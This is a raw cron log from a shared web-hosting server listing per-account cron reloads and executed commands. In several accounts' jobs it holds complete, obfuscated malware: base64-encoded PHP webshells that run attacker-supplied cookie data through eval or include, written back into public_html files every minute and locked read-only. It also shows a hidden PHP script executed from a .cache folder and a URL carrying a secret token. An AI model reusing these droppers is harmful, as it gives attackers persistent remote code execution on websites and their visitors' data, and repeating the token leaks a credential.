Mar  1 07:31:02 medusa crond[30932]: (hayproducto) RELOAD (/var/spool/cron/hayproducto)
Mar  1 07:31:02 medusa crond[30932]: (fundacionfides) RELOAD (/var/spool/cron/fundacionfides)
Mar  1 07:31:02 medusa crond[30932]: (insigne) RELOAD (/var/spool/cron/insigne)
Mar  1 07:31:02 medusa crond[30932]: (blenkman) RELOAD (/var/spool/cron/blenkman)
Mar  1 07:31:02 medusa crond[30932]: (supereve) RELOAD (/var/spool/cron/supereve)
Mar  1 07:31:02 medusa crond[30932]: (sanlore3) RELOAD (/var/spool/cron/sanlore3)
Mar  1 07:31:02 medusa crond[30932]: (mmconval) RELOAD (/var/spool/cron/mmconval)
Mar  1 07:31:02 medusa crond[30932]: (anastock) RELOAD (/var/spool/cron/anastock)
Mar  1 07:31:02 medusa crond[30932]: (jubiladostelefon) RELOAD (/var/spool/cron/jubiladostelefon)
Mar  1 07:31:02 medusa crond[30932]: (mag1006) RELOAD (/var/spool/cron/mag1006)
Mar  1 07:31:02 medusa crond[30932]: (mlch) RELOAD (/var/spool/cron/mlch)
Mar  1 07:31:02 medusa crond[30932]: (ayelcoma) RELOAD (/var/spool/cron/ayelcoma)
Mar  1 07:31:02 medusa crond[30932]: (mmmarketing) RELOAD (/var/spool/cron/mmmarketing)
Mar  1 07:31:02 medusa crond[30932]: (apamacom) RELOAD (/var/spool/cron/apamacom)
Mar  1 07:31:02 medusa crond[30932]: (aianer) RELOAD (/var/spool/cron/aianer)
Mar  1 07:31:02 medusa crond[30932]: (viajespe) RELOAD (/var/spool/cron/viajespe)
Mar  1 07:31:02 medusa crond[30932]: (salauca) RELOAD (/var/spool/cron/salauca)
Mar  1 07:31:02 medusa crond[30932]: (masideassportsco) RELOAD (/var/spool/cron/masideassportsco)
Mar  1 07:31:02 medusa crond[30932]: (autosven) RELOAD (/var/spool/cron/autosven)
Mar  1 07:31:02 medusa crond[30932]: (docta) RELOAD (/var/spool/cron/docta)
Mar  1 07:31:02 medusa crond[30932]: (panamana) RELOAD (/var/spool/cron/panamana)
Mar  1 07:31:02 medusa crond[30932]: (lucasmil) RELOAD (/var/spool/cron/lucasmil)
Mar  1 07:31:02 medusa crond[30932]: (fisrecocom) RELOAD (/var/spool/cron/fisrecocom)
Mar  1 07:31:02 medusa crond[30932]: (dolinko) RELOAD (/var/spool/cron/dolinko)
Mar  1 07:31:02 medusa crond[30932]: (marcos) RELOAD (/var/spool/cron/marcos)
Mar  1 07:31:02 medusa crond[30932]: (gaia) RELOAD (/var/spool/cron/gaia)
Mar  1 07:31:02 medusa crond[30932]: (modulablecom) RELOAD (/var/spool/cron/modulablecom)
Mar  1 07:31:02 medusa crond[30932]: (sizedesi) RELOAD (/var/spool/cron/sizedesi)
Mar  1 07:31:02 medusa crond[30932]: (revistaenergiaco) RELOAD (/var/spool/cron/revistaenergiaco)
Mar  1 07:31:02 medusa crond[30932]: (espinade) RELOAD (/var/spool/cron/espinade)
Mar  1 07:31:02 medusa crond[30932]: (tipsiser) RELOAD (/var/spool/cron/tipsiser)
Mar  1 07:31:02 medusa crond[30932]: (zocancom) RELOAD (/var/spool/cron/zocancom)
Mar  1 07:31:02 medusa crond[30932]: (estudiomeira) RELOAD (/var/spool/cron/estudiomeira)
Mar  1 07:31:02 medusa crond[30932]: (callcent) RELOAD (/var/spool/cron/callcent)
Mar  1 07:31:02 medusa crond[30932]: (dvrwebcom) RELOAD (/var/spool/cron/dvrwebcom)
Mar  1 07:31:02 medusa crond[30932]: (ottob) RELOAD (/var/spool/cron/ottob)
Mar  1 07:31:02 medusa crond[30932]: (fortiforticom) RELOAD (/var/spool/cron/fortiforticom)
Mar  1 07:31:02 medusa crond[30932]: (medinaruben) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (mantas) RELOAD (/var/spool/cron/mantas)
Mar  1 07:31:02 medusa crond[30932]: (mun68f) RELOAD (/var/spool/cron/mun68f)
Mar  1 07:31:02 medusa crond[30932]: (aglo2983) RELOAD (/var/spool/cron/aglo2983)
Mar  1 07:31:02 medusa crond[30932]: (osorober) RELOAD (/var/spool/cron/osorober)
Mar  1 07:31:02 medusa crond[30932]: (xpconsul) RELOAD (/var/spool/cron/xpconsul)
Mar  1 07:31:02 medusa crond[30932]: (adminanalia) RELOAD (/var/spool/cron/adminanalia)
Mar  1 07:31:02 medusa crond[30932]: (silvialo) RELOAD (/var/spool/cron/silvialo)
Mar  1 07:31:02 medusa crond[30932]: (gastoncr) RELOAD (/var/spool/cron/gastoncr)
Mar  1 07:31:02 medusa CROND[747]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:31:02 medusa CROND[748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:31:02 medusa CROND[750]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:31:02 medusa CROND[751]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:31:02 medusa CROND[752]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:31:02 medusa CROND[754]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:31:02 medusa CROND[757]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:31:02 medusa CROND[760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:31:02 medusa CROND[771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:31:02 medusa CROND[773]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:31:02 medusa CROND[778]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:31:02 medusa CROND[780]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:31:02 medusa CROND[783]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:32:01 medusa crond[30932]: (nespencapital) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (ideastodoterreno) WRONG FILE OWNER (/var/spool/cron/ideastodoterreno)
Mar  1 07:32:01 medusa crond[30932]: (alejandrosignore) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (finapro) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (notisyhech) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (spiga) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (camozzi) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (ipactos) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (flavia) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (estudiorillo) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (tecnocom) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa crond[30932]: (medinaruben) ORPHAN (no passwd entry)
Mar  1 07:32:01 medusa CROND[4768]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:32:01 medusa CROND[4773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:32:01 medusa CROND[4774]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:32:01 medusa CROND[4775]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:32:01 medusa CROND[4776]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:32:01 medusa CROND[4777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:32:01 medusa CROND[4784]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:32:01 medusa CROND[4785]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:32:01 medusa CROND[4790]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:32:01 medusa CROND[4799]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:32:01 medusa CROND[4811]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:32:01 medusa CROND[4820]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
